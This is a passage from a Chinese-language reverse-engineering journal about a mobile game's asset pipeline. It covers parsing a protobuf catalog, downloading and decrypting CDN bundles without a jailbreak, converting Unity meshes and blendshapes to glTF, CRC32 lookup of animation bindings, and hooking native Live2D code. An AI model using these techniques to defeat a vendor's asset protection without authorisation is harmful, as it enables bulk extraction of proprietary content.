<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                val </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> blob[p:p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ln2]</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ln2</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> field </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 7</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> and</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> len</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(val) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ln2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">and</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> all</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">20</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x3C;=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7F</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> val):</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    obj </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> val.decode(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"ascii"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                break</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                break</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        out.append({</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"id"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: oid, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"address"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: address, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"size"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: size,</span></span>
<span data-line=""><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">                    "md5"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: md5.decode(), </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"object_name"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: obj,</span></span>
<span data-line=""><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">                    "dependencies"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: deps})</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/hohohololive/blob/main/hohohololive/catalog.py#L112-L145">在 SiaoHub 檢視 siao/hohohololive/hohohololive/catalog.py L112-145</a></p>
<p><code>field == 7</code> 那條還多要求「長度吻合且全為可列印 ASCII」，因為記憶體 dump 的邊界截斷會讓最後一筆條目讀出半個欄位。修正後：</p>
<pre tabindex="0"><code>修正前  33799 / 36119 筆有 objectName
修正後  36119 / 36119
</code></pre>
<p>順帶把依賴清單（field 6）也解了出來，之後做「連依賴一起抓」很方便。</p>
<p>protobuf 的欄位順序沒有保證，<code>repeated</code> 欄位更是任意長。用「位移量」定位欄位是在賭序列化器的實作細節，賭輸的時候它不會報錯，只會少抓——而 2/608 這種比例很明顯，33799/36119 就不一定會被發現。</p>
<h3 id="8-實測" class="phrased">8. 實測</h3>
<pre tabindex="0"><code>待下載   944 筆 (3D + 缺的 Live2D + mot_define), 1.01 GB
成功     944
跳過       0
失敗       0
</code></pre>
<p>完整離線鏈：<strong>CDN 下載 → 校驗 → 解密 → 抽取。</strong></p>
<figure class="diagram"><svg viewBox="0.00 0.00 639.00 67.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="免越獄離線鏈">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 62.83)">
<polygon fill="none" stroke="none" points="-4,4 -4,-62.83 634.55,-62.83 634.55,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="71.52" cy="-29.42" rx="71.52" ry="29.42"></ellipse>
<text text-anchor="middle" x="71.52" y="-33.62" font-family="Times,serif" font-size="14.00">catalog</text>
<text text-anchor="middle" x="71.52" y="-16.82" font-family="Times,serif" font-size="14.00">hash ↔ address</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="238.18" cy="-29.42" rx="59.14" ry="29.42"></ellipse>
<text text-anchor="middle" x="238.18" y="-33.62" font-family="Times,serif" font-size="14.00">CDN 下載</text>
<text text-anchor="middle" x="238.18" y="-16.82" font-family="Times,serif" font-size="14.00">objectName</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M143.31,-29.42C151.22,-29.42 159.27,-29.42 167.16,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="167.07,-32.92 177.07,-29.42 167.07,-25.92 167.07,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="391.93" cy="-29.42" rx="58.61" ry="29.42"></ellipse>
<text text-anchor="middle" x="391.93" y="-33.62" font-family="Times,serif" font-size="14.00">校驗</text>
<text text-anchor="middle" x="391.93" y="-16.82" font-family="Times,serif" font-size="14.00">md5（密文）</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M297.42,-29.42C305.32,-29.42 313.48,-29.42 321.55,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="321.34,-32.92 331.34,-29.42 321.34,-25.92 321.34,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="513.55" cy="-29.42" rx="27" ry="18"></ellipse>
<text text-anchor="middle" x="513.55" y="-25.22" font-family="Times,serif" font-size="14.00">解密</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M450.99,-29.42C459.11,-29.42 467.28,-29.42 474.89,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="474.79,-32.92 484.79,-29.42 474.79,-25.92 474.79,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="603.55" cy="-29.42" rx="27" ry="18"></ellipse>
<text text-anchor="middle" x="603.55" y="-25.22" font-family="Times,serif" font-size="14.00">抽取</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M540.95,-29.42C548.43,-29.42 556.73,-29.42 564.75,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="564.65,-32.92 574.65,-29.42 564.65,-25.92 564.65,-32.92"></polygon>
</g>
</g>
</svg><figcaption>免越獄離線鏈</figcaption></figure>
<p><strong>狀態：完成。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-RE_NOTES_3D"><code>RE_NOTES_3D.md</code></a> §2、§5</p>
<p><strong>References</strong></p>
<ul>
<li><a href="https://protobuf.dev/programming-guides/encoding/">https://protobuf.dev/programming-guides/encoding/</a></li>
</ul>
<hr>
<h2 id="4-3d-模型-有骨架綁定的-gltf" class="phrased">（4）<wbr>3D 模型：<wbr>有<wbr>骨架<wbr>綁定的 glTF</h2>
<h3 id="1-頂點串流佈局" class="phrased">1. 頂點<wbr>串流<wbr>佈局</h3>
<pre tabindex="0"><code>stride(s) = Σ dimension × sizeof(format)
offset(0) = 0
offset(s) = align16(offset(s-1) + vertexCount × stride(s-1))
</code></pre>
<p>角色 body 實測：</p>
<pre tabindex="0"><code>stream0 stride 40  ch0 Position(3f)  ch1 Normal(3f)  ch2 Tangent(4f)
stream1 stride 16  ch3 Color(4×UNorm8) ch4 UV0(2×half) ch7 UV3(2f)
stream2 stride 32  ch12 BlendWeight(4f) ch13 BlendIndices(4×uint32)
</code></pre>
<p>驗證方式：對每個網格算「計算總長 vs 實際 <code>m_DataSize</code>」，全部逐位元組吻合。</p>
<h3 id="2-兩個真實的-bug" class="phrased">2. 兩個<wbr>真實<wbr>的 bug</h3>
<p><strong>(1) 骨影響數不是固定 4。</strong> 我原本假設 ch12/ch13 恆為 dim4，直接 <code>[:, :4]</code>：</p>
<table tabindex="0">
<thead>
<tr>
<th>網格</th>
<th>ch12</th>
<th>ch13</th>
<th>實際</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Geo_Body_LOD0</code></td>
<td>dim4</td>
<td>dim4</td>
<td>4 骨混合</td>
</tr>
<tr>
<td><code>Geo_Eye_LOD0</code></td>
<td>dim2</td>
<td>dim2</td>
<td><strong>2 骨混合</strong></td>
</tr>
<tr>
<td><code>Geo_Brow_LOD0</code> / <code>Geo_Iris_LOD0</code></td>
<td>無</td>
<td><strong>dim1</strong></td>
<td><strong>剛性單骨，權重恆 1</strong></td>
</tr>
</tbody>
</table>
<p>對 dim2 的網格，<code>[:, :4]</code> 只拿到 2 寬陣列卻宣告成 VEC4 → 權重和變成 −2.37 ~ 3.02、joint 索引 63471。眉毛與虹膜則因為「沒有 ch12」被整個當成無綁定跳過。修正：一律補零到 4 寬；缺 ch12 時視為剛性綁定，第 0 槽權重設 1.0。</p>
<p><strong>(2) 頂點資料有兩種存法。</strong> 角色模型內嵌在 <code>m_VertexData.m_DataSize</code>，但<strong>場景零件多半放在外部串流檔（<code>.resS</code>）</strong>，由 <code>mesh.m_StreamData</code> 指出 path/offset/size。沒處理時 <code>fbx_mdl_env_*</code> 整批解出 0 個網格。改用 <code>UnityPy.helpers.ResourceReader.get_resource_data()</code> 取回。</p>
<h3 id="3-座標系轉換" class="phrased">3. 座標<wbr>系<wbr>轉換</h3>
<p>Unity 左手系 → glTF 右手系，以鏡射 X 軸 <code>M = diag(-1,1,1)</code>：</p>
<table tabindex="0">
<thead>
<tr>
<th>對象</th>
<th>轉換</th>
</tr>
</thead>
<tbody>
<tr>
<td>位置 / 法線 / 切線</td>
<td><code>(x,y,z) → (-x,y,z)</code></td>
</tr>
<tr>
<td>旋轉四元數</td>
<td><code>(x,y,z,w) → (x,-y,-z,w)</code></td>
</tr>
<tr>
<td>逆綁定矩陣</td>
<td><code>M' = S·M·S</code>，<code>S = diag(-1,1,1,1)</code></td>
</tr>
<tr>
<td>UV</td>
<td><code>v → 1-v</code>（Unity 原點左下，glTF 左上）</td>
</tr>
<tr>
<td>三角形環繞</td>
<td>反轉（行列式變號）</td>
</tr>
</tbody>
</table>
<p>四元數那條的推導：<code>R' = M R M</code>，<code>M</code> 為非正常變換（det = −1），把「繞軸 <code>a</code> 轉 θ」變成「繞 <code>(aₓ, -a_y, -a_z)</code> 轉 θ」，代入 <code>q = (sin(θ/2)·a, cos(θ/2))</code> 即得。</p>
<p>這幾條寫在實作的 docstring 裡而不是只寫在日誌裡，因為它們是<strong>每次改動這個檔案都要重新確認的前提</strong>：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">## 座標系轉換</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Unity 是左手系 (Y</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">up, Z</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">forward)，glTF 是右手系 (Y</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">up, Z</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">back)。</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">以鏡射 X 軸 M </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> diag(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) 轉換:</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    位置</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">法線</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">切線   (x,y,z) </span><span style="--shiki-light:#6E011A;--shiki-light-font-style:italic;--shiki-dark:#FFB1AF;--shiki-dark-font-style:italic">-></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">x, y, z)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    旋轉四元數       (x,y,z,w) </span><span style="--shiki-light:#6E011A;--shiki-light-font-style:italic;--shiki-dark:#FFB1AF;--shiki-dark-font-style:italic">-></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (x, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">y, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">z, w)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        推導: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">R</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">' = M R M, M 為非正常變換 (det=-1),</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        使繞軸 a 轉 θ 變成繞 (ax,</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ay,</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">az) 轉 θ</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    逆綁定矩陣       M</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">' = S · M · S     (S = diag(-1,1,1,1))</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    三角形環繞順序   必須反轉 (行列式變號)</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/hohohololive/blob/main/hohohololive/gltf.py#L27-L37">在 SiaoHub 檢視 siao/hohohololive/hohohololive/gltf.py L27-37</a></p>
<h3 id="4-一個推論錯了兩次的地方-描邊殼" class="phrased">4. 一個<wbr>推論<wbr>錯了<wbr>兩次<wbr>的<wbr>地方：<wbr>描邊殼</h3>
<p><code>Geo_Body_LOD0</code> 有 3 個子網格，面數 13932 / 240 / <strong>13932</strong>——第 0 與第 2 完全一樣。索引緩衝 41796 + 720 + 41796 = 84312 剛好把 168624 bytes（uint16）填滿，所以那不是解析錯誤，是<strong>真實資料</strong>。</p>
<p><strong>第一次推論（錯）</strong>：這些重複子網格在 <code>renderer.m_Materials</code> 裡沒有對應材質，所以判定「Unity 因此不渲染它」，用「無材質」當剔除條件。</p>
<p><strong>真相</strong>：材質一直都在，只是<strong>放在依賴 bundle 裡的共用材質</strong>，沒載入依賴時 PPtr 解不開而已。加上 <code>load_bundle_with_deps()</code> 之後名字直接浮出來：</p>
<pre tabindex="0"><code>材質: ['m_eye', 'm_bdy', 'm_bdyco', 'SubMeshOutlineMaterial', 'm_fef']
  Geo_Body_LOD0 sub0 面=13932 材質=m_bdy
  Geo_Body_LOD0 sub1 面=  240 材質=m_bdyco
  Geo_Body_LOD0 sub2 面=13932 材質=SubMeshOutlineMaterial   &#x3C;- 描邊殼
</code></pre>
<p>卡通渲染的 inverted-hull 描邊：同一份幾何，法線外推後翻面只畫背面。</p>
<p>「這個東西沒有 X 所以引擎不用它」——<strong>當 X 是跨 bundle 解析出來的東西時，這句話的前提可能只是你沒載入依賴。</strong></p>
<h3 id="5-blendshape-→-gltf-morph-target">5. BlendShape → glTF morph target</h3>
<p>臉部表情不靠骨架，走 blendshape，而且<strong>只在臉部網格上</strong>：</p>
<table tabindex="0">
<thead>
<tr>
<th>網格</th>
<th align="right">通道數</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Geo_Eye_LOD0</code></td>
<td align="right">16</td>
</tr>
<tr>
<td><code>Geo_Brow_LOD0</code></td>
<td align="right">14</td>
</tr>
<tr>
<td><code>Geo_Iris_LOD0</code></td>
<td align="right">2</td>
</tr>
<tr>
<td><code>Geo_Body_LOD0/1</code></td>
<td align="right">0（身體變形全靠骨架）</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="BlendShape 通道數，只在臉部網格上" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">10</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">20</text><rect x="73.5" y="65.19999999999999" width="62" height="164.8" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="105.5" y="59.19999999999999" text-anchor="middle" style="fill:var(--ink);font-size:11px">16</text><text x="105.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">Eye</text><rect x="196.5" y="85.80000000000001" width="62" height="144.2" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="228.5" y="79.80000000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">14</text><text x="228.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">Brow</text><rect x="319.5" y="209.4" width="62" height="20.599999999999994" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="351.5" y="203.4" text-anchor="middle" style="fill:var(--ink);font-size:11px">2</text><text x="351.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">Iris</text><rect x="442.5" y="230" width="62" height="0" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:3"></rect><text x="474.5" y="224" text-anchor="middle" style="fill:var(--ink);font-size:11px">0</text><text x="474.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">Body</text></svg><figcaption>BlendShape 通道數，只在臉部網格上</figcaption></figure>
<p>合計 <strong>32</strong> —— 與動作 clip 內 typeID 137 的曲線數完全相同，互為佐證。</p>
<p>Unity 以稀疏方式儲存：<code>channels[]</code> 指向 <code>shapes[]</code> 的一段，<code>shapes[i]</code> 再指向 <code>vertices[]</code> 的一段，每個頂點自帶原網格索引。glTF 的 morph target 需要與網格等長的稠密位移陣列，所以逐一展開回去（位移同樣要套 X 鏡射）。</p>
<p><code>channel.frameCount > 1</code> 表示漸進形變，glTF 一個 target 只能表示一個形狀，取最後一幀。實測本作全部 <code>frameCount = 1</code>。</p>
<p><strong>狀態：完成。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-RE_NOTES_3D"><code>RE_NOTES_3D.md</code></a> §6、§7</p>
<hr>
<h2 id="5-3d-動作-crc32-反查與-mot-define" class="phrased">（5）<wbr>3D 動作：<wbr>CRC32 反查與 <code>mot_define</code></h2>
<h3 id="1-突破口是-monobehaviour-不是-animationclip" class="phrased">1. 突破口<wbr>是 MonoBehaviour，<wbr>不是 AnimationClip</h3>
<p><code>AnimationClip</code> 的 <code>genericBindings</code> 只存雜湊：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">{</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'path'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1182008026</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'attribute'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1661978518</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'typeID'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">137</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span></code></pre></figure>
<p>一開始拿角色 <code>skeleton.json</code> 的骨骼路徑算 CRC32 去比對，<strong>608 個骨架 × 所有路徑形式，0 命中</strong>。</p>
<p>真正的答案在同一個 bundle 的 MonoBehaviour（<code>VisionActorMotionDefine</code>）：它的 <code>baseAnimation.bindings</code> 以<strong>明文</strong>列出每條綁定：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="json" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="json" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">{</span><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">"name"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Geo_Eye_LOD0"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">"path"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Root_Body/Geo_Eye_LOD0"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#024C1A;--shiki-dark:#72F088"> "type"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"UnityEngine.SkinnedMeshRenderer"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#024C1A;--shiki-dark:#72F088"> "properties"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: [</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"blendShape.b_eye.eye_001"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"..."</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]}</span></span></code></pre></figure>
<p>Animator 根節點叫 <strong><code>Root_Body</code></strong>，不是 bundle 名稱——這就是對不上的原因。</p>
<p>雜湊函數確認為 CRC32(明文)：</p>
<table tabindex="0">
<thead>
<tr>
<th>字串</th>
<th align="right">CRC32</th>
<th>在 clip 內出現</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>b_eye.eye_001</code></td>
<td align="right">1661978518</td>
<td>blendshape 首條（<strong>不帶</strong> <code>blendShape.</code> 前綴）</td>
</tr>
<tr>
<td><code>m_FadeFactor</code></td>
<td align="right">682354173</td>
<td>6 次 = 6 個 DecalProjector</td>
</tr>
<tr>
<td><code>bakeAnimationWeight</code></td>
<td align="right">3202011236</td>
<td>44 次 = 44 根 swing bone</td>
</tr>
</tbody>
</table>
<p>把 637 個 bundle 的 bindings 全部收集成<strong>全域</strong>反查表（單一 bundle 的字典只夠解自己那幾條），得到 <strong>520 個路徑 / 198 個屬性名</strong>。</p>
<p>這是這一段最可複用的一點：<strong>當 hash 對不上時，先懷疑輸入字串的形式，不要先懷疑 hash 函數。</strong> 我花在「會不會其實是別的 hash」上的時間，遠多於花在「路徑前綴會不會不一樣」上的時間，而答案是後者。</p>
<p><strong>狀態：完成。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-RE_NOTES_3D"><code>RE_NOTES_3D.md</code></a> §8</p>
<hr>
<h2 id="6-live2d-攻原生層-不攻上層" class="phrased">（6）<wbr>Live2D：<wbr>攻<wbr>原生<wbr>層，<wbr>不攻<wbr>上層</h2>
<h3 id="1-三條走不通的路" class="phrased">1. 三條走<wbr>不通<wbr>的路</h3>
<p>依序試過、全部失敗：猜測是 LZ4 壓縮；找 <code>Octo.dll/Octo/Loader/OctoAPI.DecryptAes</code>（誤導性成功——它解的是 API 封包不是資源）；hook IL2CPP 層的 Cubism SDK API。</p>
<p>第三條失敗的方式指出了根因：Cubism Core 是<strong>原生 C 函式庫</strong>，直接靜態連結進 <code>UnityFramework</code>，沒有獨立 <code>.framework</code>，所以 IL2CPP 層根本沒有可以 hook 的東西。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 533.00 174.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="三條死路，指向同一個原生層">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 170.42)">
<polygon fill="none" stroke="none" points="-4,4 -4,-170.42 528.57,-170.42 528.57,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="93.9" cy="-148.42" rx="61.46" ry="18"></ellipse>
<text text-anchor="middle" x="93.9" y="-144.22" font-family="Times,serif" font-size="14.00">猜測 LZ4 壓縮</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="421.44" cy="-94.42" rx="103.13" ry="29.42"></ellipse>
<text text-anchor="middle" x="421.44" y="-98.62" font-family="Times,serif" font-size="14.00">原生匯出符號</text>
<text text-anchor="middle" x="421.44" y="-81.82" font-family="Times,serif" font-size="14.00">csmReviveMocInPlace</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M148.56,-140C190.03,-133.45 248.84,-124.05 300.31,-115.42 307.23,-114.25 314.37,-113.04 321.56,-111.81"></path>
<polygon fill="currentColor" stroke="currentColor" points="322.12,-115.27 331.38,-110.12 320.93,-108.37 322.12,-115.27"></polygon>
<text text-anchor="middle" x="253.06" y="-134.38" font-family="Times,serif" font-size="14.00">失敗</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="93.9" cy="-94.42" rx="93.9" ry="18"></ellipse>
<text text-anchor="middle" x="93.9" y="-90.22" font-family="Times,serif" font-size="14.00">OctoAPI.DecryptAes</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M188.19,-94.42C225.12,-94.42 267.94,-94.42 306.67,-94.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="306.5,-97.92 316.5,-94.42 306.5,-90.92 306.5,-97.92"></polygon>
<text text-anchor="middle" x="253.06" y="-98.62" font-family="Times,serif" font-size="14.00">失敗：解錯封包</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="93.9" cy="-29.42" rx="82.82" ry="29.42"></ellipse>
<text text-anchor="middle" x="93.9" y="-33.62" font-family="Times,serif" font-size="14.00">hook IL2CPP</text>
